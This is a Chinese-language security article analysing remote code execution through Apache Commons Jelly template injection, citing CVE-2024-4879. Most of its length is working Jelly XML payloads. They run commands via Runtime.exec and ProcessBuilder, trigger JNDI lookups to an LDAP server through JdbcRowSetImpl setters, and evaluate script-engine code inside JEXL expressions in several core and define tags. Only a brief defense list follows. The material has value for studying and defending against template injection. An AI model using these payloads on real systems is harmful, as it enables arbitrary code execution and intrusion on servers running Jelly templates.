Apache Common Jelly Remote Code Execution
字数 765 2025-08-22 12:22:42
Apache Commons Jelly 远程代码执行漏洞分析与利用
前言
Apache Commons Jelly 是一个基于 XML 的脚本和处理引擎,可以将 XML 转换为可执行代码。近期发现的漏洞(如 CVE-2024-4879)表明 Jelly 模板注入可能导致远程代码执行(RCE)。本文将详细分析 Jelly 模板注入的各种利用方式。
环境准备
依赖配置
<dependency>
<groupId>commons-jelly</groupId>
<artifactId>commons-jelly</artifactId>
<version>1.0</version>
</dependency>
基本测试用例
JellyContext context = new JellyContext();
Script script = context.compileScript("example.jelly");
script.run(context, XMLOutput.createXMLOutput(System.out));
核心标签利用
Jelly 定义了许多核心标签(Core Tags),位于 org.apache.commons.jelly.tags.core 包下,执行逻辑主要在 doTag 方法中。
1. 使用 Runtime 执行命令
<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
<invokeStatic var="Runtime" className="java.lang.Runtime" method="getRuntime"></invokeStatic>
<invoke method="exec" var="exec" on="${Runtime}">
<arg type="java.lang.String" value="open -a Calculator"></arg>
</invoke>
</jelly>
2. 使用 ProcessBuilder 执行命令
<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
<new var="list" className="java.util.ArrayList"></new>
<invoke var="add" method="add" on="${list}">
<arg value="open"></arg>
</invoke>
<invoke var="add" method="add" on="${list}">
<arg value="-a"></arg>
</invoke>
<invoke var="add" method="add" on="${list}">
<arg value="Calculator"></arg>
</invoke>
<new var="exec" className="java.lang.ProcessBuilder">
<arg value="${list}"></arg>
</new>
<invoke on="${exec}" method="start"></invoke>
</jelly>
Setter 方法利用
1. 使用 setProperties 标签
<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
<new className="com.sun.rowset.JdbcRowSetImpl" var="jndi"/>
<setProperties object="${jndi}" dataSourceName="ldap://localhost:9999/NIVIA"/>
<setProperties object="${jndi}" autoCommit="1"/>
</jelly>
2. 使用 set 标签
<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
<new className="com.sun.rowset.JdbcRowSetImpl" var="jndi"/>
<set target="${jndi}" property="dataSourceName" value="ldap://localhost:9999/NIVIA"></set>
<set target="${jndi}" property="autoCommit" value="1"></set>
</jelly>
3. 使用 useBean 标签
<useBean dataSourceName="ldap://localhost:9999/NIVIA"
class="com.sun.rowset.JdbcRowSetImpl"
var="jndi"
autoCommit="1"/>
注意:setter 方法执行顺序可能影响利用效果。
JEXL 表达式利用
Jelly 在执行 JEXL 表达式上非常灵活,多个标签支持 JEXL 表达式计算。
1. 使用 expr 标签
<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
<getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<expr value="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</jelly>
2. 使用 out 标签
<?xml version="1.0" encoding="utf-8"?>
<jelly xmlns="jelly:core">
<getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<out value="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</jelly>
3. 使用 conditional tags (if/break)
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:break test="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</j:jelly>
4. 使用 whitespace 标签
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:whitespace>${str .class .forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}</j:whitespace>
</j:jelly>
标签库利用
可以结合其他标签库实现更复杂的利用:
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core" xmlns:define="jelly:define">
<j:getStatic var="str" className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<define:taglib uri="${str .class .forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval('java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')}"/>
</j:jelly>
防御建议
- 限制 Jelly 脚本的执行权限
- 对用户输入的 XML 进行严格过滤
- 禁用危险的标签和表达式功能
- 使用最新版本的 Apache Commons Jelly
总结
Apache Commons Jelly 提供了多种方式实现远程代码执行,包括核心标签利用、JEXL 表达式注入和标签库扩展等。安全人员应充分了解这些利用方式,以便更好地防御相关攻击。